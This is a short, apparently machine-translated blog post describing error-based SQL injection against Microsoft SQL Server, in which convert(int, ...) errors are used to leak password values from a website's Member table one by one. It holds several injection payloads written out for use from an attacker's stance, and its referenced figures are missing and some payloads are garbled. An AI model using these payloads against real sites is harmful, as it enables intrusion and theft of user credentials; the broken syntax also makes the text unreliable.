Thoughts on MSSQL injection of explosive data by mistake

Source: Internet
Author: User


Recently, I was working on a website. The password is pure numbers. If convert (int, () is converted, no error is returned, I don't know what functions or types others use to crack the password for data like "11111111", so I figured out a method that can be used temporarily.

Database Query:

Figure 1:

Figure 2:

Figure 3:

Figure 4:

Figure 5:

The following is an experiment.

Table Member Field Password


Or 1 = convert (int, (select top 1 password from Member ))--

Statement or 1 = convert (int, (select top 1 password from member) + )--


Then query the next data

Statement or 1 = convert (int, (select top 1 password from member where password not in (117517450) + )--

I don't know how other people are doing anything. You can tell me something and leave a message. Thank you.
